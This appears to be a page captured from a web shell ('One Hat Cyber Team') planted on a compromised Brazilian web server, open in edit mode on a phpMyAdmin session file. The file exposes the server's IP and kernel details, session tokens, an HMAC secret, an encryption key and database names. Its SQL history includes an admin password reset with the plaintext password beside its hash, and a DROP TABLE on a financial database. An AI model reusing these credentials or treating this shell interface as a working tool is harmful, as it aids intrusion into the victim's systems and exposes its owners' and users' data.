One Hat Cyber Team
Your IP :
216.73.216.216
Server IP :
162.240.179.46
Server :
Linux vps-14493116.nutrivittasaude.com.br 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
Server Software :
Apache
PHP Version :
8.2.32
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
lifeprimeti
/
tmp
/
Edit File:
sess_f9ed2b9195b224dba1f53c15400e68d1
PMA_token |s:32:"2f7046453e2a606f29617b5870274226"; HMAC_secret |s:16:"r{eT}7UIS5"7Wd?s";auth_type|s:3:"env";browser_access_time|a:4:{s:7:"default";i:1781027994;s:36:"9744a554-ac49-7379-f3fc-070909af3fcc";i:1781002569;s:36:"fe6b2976-572a-cd2a-263a-295c9c1ed84f";i:1781026083;s:36:"198ba835-12c0-7c8e-22e6-071d4fde0c13";i:1781043232;}encryption_key|s:32:"�n�e�e��Z �]�'a�,:�8^���[���w";relation|a:1:{i:1;a:41:{s:7:"version";s:5:"5.2.2";s:4:"user";N;s:2:"db";N;s:8:"bookmark";N;s:15:"central_columns";N;s:11:"column_info";N;s:17:"designer_settings";N;s:16:"export_templates";N;s:8:"favorite";N;s:7:"history";N;s:16:"navigationhiding";N;s:9:"pdf_pages";N;s:6:"recent";N;s:8:"relation";N;s:13:"savedsearches";N;s:12:"table_coords";N;s:10:"table_info";N;s:13:"table_uiprefs";N;s:8:"tracking";N;s:10:"userconfig";N;s:10:"usergroups";N;s:5:"users";N;s:12:"bookmarkwork";b:0;s:8:"mimework";b:0;s:18:"centralcolumnswork";b:0;s:8:"commwork";b:0;s:9:"menuswork";b:0;s:20:"designersettingswork";b:0;s:11:"displaywork";b:0;s:19:"exporttemplateswork";b:0;s:12:"favoritework";b:0;s:7:"navwork";b:0;s:7:"pdfwork";b:0;s:10:"recentwork";b:0;s:7:"relwork";b:0;s:17:"savedsearcheswork";b:0;s:11:"historywork";b:0;s:12:"trackingwork";b:0;s:11:"uiprefswork";b:0;s:14:"userconfigwork";b:0;s:8:"allworks";b:0;}}userconfig|a:2:{s:2:"db";a:2:{s:4:"lang";s:5:"pt_BR";s:12:"Console/Mode";s:8:"collapse";}s:2:"ts";i:1781027994;}two_factor_check|b:1;cache|a:2:{s:8:"server_1";a:4:{s:15:"userprefs_mtime";i:1781027994;s:14:"userprefs_type";s:7:"session";s:12:"config_mtime";i:1758923339;s:9:"userprefs";a:2:{s:4:"lang";s:5:"pt_BR";s:7:"Console";a:1:{s:4:"Mode";s:8:"collapse";}}}s:25:"server_1_cpses_lih27cps9w";a:16:{s:17:"is_create_db_priv";b:0;s:14:"is_reload_priv";b:0;s:12:"db_to_create";s:0:"";s:30:"dbs_where_create_table_allowed";a:11:{i:0;s:19:"lifeprimeti\_barber";i:1;s:19:"lifeprimeti\_cartao";i:2;s:20:"lifeprimeti\_central";i:3;s:20:"lifeprimeti\_clinica";i:4;s:21:"lifeprimeti\_clinicac";i:5;s:21:"lifeprimeti\_clinical";i:6;s:23:"lifeprimeti\_financeiro";i:7;s:17:"lifeprimeti\_lead";i:8;s:18:"lifeprimeti\_leads";i:9;s:18:"lifeprimeti\_redes";i:10;s:17:"lifeprimeti\_zion";}s:11:"dbs_to_test";b:0;s:9:"proc_priv";b:0;s:10:"table_priv";b:0;s:8:"col_priv";b:0;s:7:"db_priv";b:0;s:11:"binary_logs";a:0:{}s:18:"menu-levels-server";a:13:{s:9:"databases";s:15:"Bancos de dados";s:3:"sql";s:3:"SQL";s:6:"status";s:6:"Status";s:6:"rights";s:9:"Usuários";s:6:"export";s:8:"Exportar";s:6:"import";s:8:"Importar";s:8:"settings";s:15:"Configurações";s:6:"binlog";s:12:"Log binário";s:11:"replication";s:12:"Replicação";s:4:"vars";s:10:"Variáveis";s:7:"charset";s:8:"Charsets";s:7:"plugins";s:7:"Plugins";s:6:"engine";s:7:"Motores";}s:14:"menu-levels-db";a:14:{s:9:"structure";s:9:"Estrutura";s:3:"sql";s:3:"SQL";s:6:"search";s:8:"Procurar";s:5:"query";s:8:"Consulta";s:6:"export";s:8:"Exportar";s:6:"import";s:8:"Importar";s:9:"operation";s:11:"Operações";s:10:"privileges";s:12:"Privilégios";s:8:"routines";s:7:"Rotinas";s:6:"events";s:7:"Eventos";s:8:"triggers";s:11:"Acionadores";s:8:"tracking";s:13:"Monitoramento";s:8:"designer";s:8:"Designer";s:15:"central_columns";s:16:"Colunas centrais";}s:12:"is_superuser";b:0;s:14:"mysql_cur_user";s:26:"cpses_lih27cps9w@localhost";s:12:"is_grantuser";b:0;s:13:"is_createuser";b:0;}}tmpval|a:15:{s:14:"favoriteTables";a:1:{i:1;a:0:{}}s:12:"recentTables";a:1:{i:1;a:0:{}}s:5:"query";a:10:{s:32:"4e4c8933896580d9734da37b90220a5d";a:8:{s:3:"sql";s:387:"-- 3. Log de downloads CREATE TABLE IF NOT EXISTS downloads_log ( id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY, tenant_id INT UNSIGNED NOT NULL, account_id INT UNSIGNED NOT NULL, arquivo_id INT UNSIGNED NOT NULL, ip VARCHAR(45), created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, INDEX idx_tenant (tenant_id), INDEX idx_arquivo (arquivo_id) ) ENGINE=InnoDB;";s:12:"repeat_cells";i:100;s:8:"max_rows";i:25;s:3:"pos";i:0;s:6:"pftext";s:1:"P";s:18:"relational_display";s:1:"K";s:9:"geoOption";s:4:"GEOM";s:14:"display_binary";b:1;}s:32:"ac1ec92595ba09e4fa24ae4ad5d8a951";a:8:{s:3:"sql";s:465:"-- 4. Log do sistema CREATE TABLE IF NOT EXISTS logs ( id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY, tenant_id INT UNSIGNED DEFAULT NULL, account_id INT UNSIGNED DEFAULT NULL, admin_id INT UNSIGNED DEFAULT NULL, acao VARCHAR(100) NOT NULL, descricao TEXT, ip VARCHAR(45), created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, INDEX idx_acao (acao), INDEX idx_tenant (tenant_id), INDEX idx_created (created_at) ) ENGINE=InnoDB;";s:12:"repeat_cells";i:100;s:8:"max_rows";i:25;s:3:"pos";i:0;s:6:"pftext";s:1:"P";s:18:"relational_display";s:1:"K";s:9:"geoOption";s:4:"GEOM";s:14:"display_binary";b:1;}s:32:"fe54c1b8ae7b53560b4252199b6a2e8b";a:8:{s:3:"sql";s:661:"-- 5. Grupos pendentes (enviados pelo cliente para aprovação) CREATE TABLE IF NOT EXISTS grupos_pendentes ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, tenant_id INT UNSIGNED NOT NULL, account_id INT UNSIGNED NOT NULL, nome VARCHAR(255) NOT NULL, link_convite VARCHAR(500) NOT NULL, descricao TEXT, categoria_id INT UNSIGNED DEFAULT NULL, status ENUM('pendente','aprovado','rejeitado') NOT NULL DEFAULT 'pendente', created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, INDEX idx_status (status), INDEX idx_tenant (tenant_id) ) ENGINE=InnoDB;";s:12:"repeat_cells";i:100;s:8:"max_rows";i:25;s:3:"pos";i:0;s:6:"pftext";s:1:"P";s:18:"relational_display";s:1:"K";s:9:"geoOption";s:4:"GEOM";s:14:"display_binary";b:1;}s:32:"429dbe3dd4cc59b6c9ac7beea9de8fb8";a:8:{s:3:"sql";s:508:"-- 6. Tickets de suporte CREATE TABLE IF NOT EXISTS tickets ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, tenant_id INT UNSIGNED NOT NULL, account_id INT UNSIGNED NOT NULL, assunto VARCHAR(255) NOT NULL, status ENUM('aberto','respondido','fechado') NOT NULL DEFAULT 'aberto', created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, INDEX idx_status (status), INDEX idx_tenant (tenant_id) ) ENGINE=InnoDB;";s:12:"repeat_cells";i:100;s:8:"max_rows";i:25;s:3:"pos";i:0;s:6:"pftext";s:1:"P";s:18:"relational_display";s:1:"K";s:9:"geoOption";s:4:"GEOM";s:14:"display_binary";b:1;}s:32:"dccb16c3d054697e1139a8cae7470b99";a:8:{s:3:"sql";s:342:"-- 7. Mensagens dos tickets CREATE TABLE IF NOT EXISTS tickets_mensagens ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, ticket_id INT UNSIGNED NOT NULL, remetente_type ENUM('empresa','admin') NOT NULL, mensagem TEXT NOT NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, INDEX idx_ticket (ticket_id) ) ENGINE=InnoDB;";s:12:"repeat_cells";i:100;s:8:"max_rows";i:25;s:3:"pos";i:0;s:6:"pftext";s:1:"P";s:18:"relational_display";s:1:"K";s:9:"geoOption";s:4:"GEOM";s:14:"display_binary";b:1;}s:32:"773b6e865d478149359d8c1999a2cf4f";a:8:{s:3:"sql";s:79:"-- 8. Pasta para uploads -- Crie manualmente: mkdir -p public/uploads/arquivos;";s:12:"repeat_cells";i:100;s:8:"max_rows";i:25;s:3:"pos";i:0;s:6:"pftext";s:1:"P";s:18:"relational_display";s:1:"K";s:9:"geoOption";s:4:"GEOM";s:14:"display_binary";b:1;}s:32:"fbb33ffd0feab890e6c418513105ac00";a:8:{s:3:"sql";s:405:"CREATE TABLE IF NOT EXISTS notificacoes ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, account_id INT UNSIGNED DEFAULT NULL, mensagem TEXT NOT NULL, lida TINYINT(1) NOT NULL DEFAULT 0, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, FOREIGN KEY (account_id) REFERENCES accounts(id) ON DELETE CASCADE, INDEX idx_account_id (account_id), INDEX idx_lida (lida) ) ENGINE=InnoDB;";s:12:"repeat_cells";i:100;s:8:"max_rows";i:25;s:3:"pos";i:0;s:6:"pftext";s:1:"P";s:18:"relational_display";s:1:"K";s:9:"geoOption";s:4:"GEOM";s:14:"display_binary";b:1;}s:32:"828c0038e2a238eea21b94a41e64c329";a:8:{s:3:"sql";s:484:"CREATE TABLE IF NOT EXISTS calendario_lancamentos ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, titulo VARCHAR(255) NOT NULL, descricao TEXT, data_evento DATE NOT NULL, hora_evento TIME, criado_por INT UNSIGNED NOT NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, FOREIGN KEY (criado_por) REFERENCES super_admins(id), INDEX idx_data (data_evento) ) ENGINE=InnoDB;";s:12:"repeat_cells";i:100;s:8:"max_rows";i:25;s:3:"pos";i:0;s:6:"pftext";s:1:"P";s:18:"relational_display";s:1:"K";s:9:"geoOption";s:4:"GEOM";s:14:"display_binary";b:1;}s:32:"956ffcb448683167c21517b18db62392";a:8:{s:3:"sql";s:851:"-- 010_planos_por_empresa.sql -- Data: 2026-06-08 -- Descrição: Adiciona suporte a planos por empresa (tenant), tipo de documento (CPF/CNPJ) -- e campos de assinatura diretamente na tabela tenants. ALTER TABLE tenants ADD COLUMN tipo_documento enum('cpf','cnpj') DEFAULT 'cpf' AFTER documento, ADD COLUMN plano_id int(10) unsigned DEFAULT NULL AFTER observacao, ADD COLUMN assinatura_status enum('ativa','cancelada','expirada','pendente','trial') NOT NULL DEFAULT 'pendente' AFTER plano_id, ADD COLUMN data_inicio date DEFAULT NULL AFTER assinatura_status, ADD COLUMN data_fim date DEFAULT NULL AFTER data_inicio, ADD COLUMN periodo enum('diario','semanal','mensal','trimestral','semestral','anual','vitalicio') DEFAULT 'mensal' AFTER data_fim, ADD COLUMN preco_cobrado decimal(10,2) NOT NULL DEFAULT 0.00 AFTER periodo;";s:12:"repeat_cells";i:100;s:8:"max_rows";i:25;s:3:"pos";i:0;s:6:"pftext";s:1:"P";s:18:"relational_display";s:1:"K";s:9:"geoOption";s:4:"GEOM";s:14:"display_binary";b:1;}s:32:"a547c5099999ce1e74b5be29941a41b1";a:8:{s:3:"sql";s:293:"ALTER TABLE planos ADD COLUMN permissoes JSON NOT NULL DEFAULT ('{"dashboard":true,"explorar":true,"categorias":true,"api_keys":true,"planos":true,"faturas":true,"calendario":true,"downloads":true,"enviar_grupo":true,"suporte":true,"documentacao":true,"configuracoes":true}') AFTER ativo;";s:12:"repeat_cells";i:100;s:8:"max_rows";i:25;s:3:"pos";i:0;s:6:"pftext";s:1:"P";s:18:"relational_display";s:1:"K";s:9:"geoOption";s:4:"GEOM";s:14:"display_binary";b:1;}}s:6:"pftext";s:1:"P";s:18:"relational_display";s:1:"K";s:9:"geoOption";s:4:"GEOM";s:14:"display_binary";b:1;s:12:"display_blob";b:0;s:19:"hide_transformation";b:0;s:3:"pos";i:0;s:8:"max_rows";i:25;s:12:"repeat_cells";i:100;s:20:"possible_as_geometry";b:0;s:18:"table_limit_offset";i:0;s:21:"table_limit_offset_db";s:22:"lifeprimeti_financeiro";}git_location|N;is_git_revision|b:0;ConfigFile1|a:4:{s:28:"PmaNoRelation_DisableWarning";b:1;s:12:"ShowCreateDb";b:0;s:7:"Console";a:1:{s:4:"Mode";s:8:"collapse";}s:7:"Servers";a:1:{i:1;a:2:{s:7:"only_db";s:0:"";s:7:"hide_db";s:0:"";}}}debug|a:0:{}flashMessages|a:0:{}__upload_status|a:1:{s:7:"handler";s:47:"PhpMyAdmin\Plugins\Import\Upload\UploadNoplugin";}Import_message|a:2:{s:7:"message";s:214:"<div class="alert alert-success" role="alert"> <img src="themes/dot.gif" title="" alt="" class="icon ic_s_success"> <em>Importação finalizada com sucesso, 127 consultas executadas.</em> (financeiro.sql) </div> ";s:11:"go_back_url";s:58:"index.php?route=/database/import&db=lifeprimeti_financeiro";}is_multi_query|b:0;sql_history|a:8:{i:0;a:3:{s:2:"db";s:19:"lifeprimeti_central";s:5:"table";s:0:"";s:8:"sqlquery";s:224:"-- 6. Corrige hash do super admin (senha: admin123) UPDATE super_admins SET senha = '$argon2id$v=19$m=65536,t=4,p=3$VWc5UTh1bWlCemguZGdGMg$3PkqXzi/DYUWxZMJ4o3N8pWbco6cQAs4Y1MeDjqNMA4' WHERE email = 'admin@whatsgrupos.com';";}i:1;a:3:{s:2:"db";s:19:"lifeprimeti_central";s:5:"table";s:0:"";s:8:"sqlquery";s:232:"-- 6. Corrige hash do super admin padrão (senha: admin123) UPDATE super_admins SET senha = '$argon2id$v=19$m=65536,t=4,p=3$VWc5UTh1bWlCemguZGdGMg$3PkqXzi/DYUWxZMJ4o3N8pWbco6cQAs4Y1MeDjqNMA4' WHERE email = 'admin@whatsgrupos.com';";}i:2;a:3:{s:2:"db";s:19:"lifeprimeti_central";s:5:"table";s:0:"";s:8:"sqlquery";s:79:"-- 8. Pasta para uploads -- Crie manualmente: mkdir -p public/uploads/arquivos;";}i:3;a:3:{s:2:"db";s:19:"lifeprimeti_central";s:5:"table";s:0:"";s:8:"sqlquery";s:405:"CREATE TABLE IF NOT EXISTS notificacoes ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, account_id INT UNSIGNED DEFAULT NULL, mensagem TEXT NOT NULL, lida TINYINT(1) NOT NULL DEFAULT 0, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, FOREIGN KEY (account_id) REFERENCES accounts(id) ON DELETE CASCADE, INDEX idx_account_id (account_id), INDEX idx_lida (lida) ) ENGINE=InnoDB;";}i:4;a:3:{s:2:"db";s:19:"lifeprimeti_central";s:5:"table";s:0:"";s:8:"sqlquery";s:484:"CREATE TABLE IF NOT EXISTS calendario_lancamentos ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, titulo VARCHAR(255) NOT NULL, descricao TEXT, data_evento DATE NOT NULL, hora_evento TIME, criado_por INT UNSIGNED NOT NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, FOREIGN KEY (criado_por) REFERENCES super_admins(id), INDEX idx_data (data_evento) ) ENGINE=InnoDB;";}i:5;a:3:{s:2:"db";s:19:"lifeprimeti_central";s:5:"table";s:0:"";s:8:"sqlquery";s:851:"-- 010_planos_por_empresa.sql -- Data: 2026-06-08 -- Descrição: Adiciona suporte a planos por empresa (tenant), tipo de documento (CPF/CNPJ) -- e campos de assinatura diretamente na tabela tenants. ALTER TABLE tenants ADD COLUMN tipo_documento enum('cpf','cnpj') DEFAULT 'cpf' AFTER documento, ADD COLUMN plano_id int(10) unsigned DEFAULT NULL AFTER observacao, ADD COLUMN assinatura_status enum('ativa','cancelada','expirada','pendente','trial') NOT NULL DEFAULT 'pendente' AFTER plano_id, ADD COLUMN data_inicio date DEFAULT NULL AFTER assinatura_status, ADD COLUMN data_fim date DEFAULT NULL AFTER data_inicio, ADD COLUMN periodo enum('diario','semanal','mensal','trimestral','semestral','anual','vitalicio') DEFAULT 'mensal' AFTER data_fim, ADD COLUMN preco_cobrado decimal(10,2) NOT NULL DEFAULT 0.00 AFTER periodo;";}i:6;a:3:{s:2:"db";s:19:"lifeprimeti_central";s:5:"table";s:0:"";s:8:"sqlquery";s:293:"ALTER TABLE planos ADD COLUMN permissoes JSON NOT NULL DEFAULT ('{"dashboard":true,"explorar":true,"categorias":true,"api_keys":true,"planos":true,"faturas":true,"calendario":true,"downloads":true,"enviar_grupo":true,"suporte":true,"documentacao":true,"configuracoes":true}') AFTER ativo;";}i:7;a:3:{s:2:"db";s:22:"lifeprimeti_financeiro";s:5:"table";s:0:"";s:8:"sqlquery";s:569:"DROP TABLE `ai_reports`, `app_settings`, `audit_logs`, `banks`, `bank_ledger`, `bank_reconciliations`, `bank_statement_entries`, `bank_transfers`, `credit_cards`, `credit_card_purchases`, `credit_card_statements`, `credit_card_statement_items`, `fin_accounts`, `fin_categories`, `fin_cost_centers`, `fin_documents`, `fin_installments`, `fin_parties`, `fin_settlements`, `fin_subcategories`, `login_attempts`, `password_resets`, `payment_methods`, `permission_profiles`, `perm_history`, `profile_permissions`, `prompts`, `prompt_categories`, `users`, `user_permissions`;";}}sql_from_query_box|b:1;errors|a:0:{}
Simpan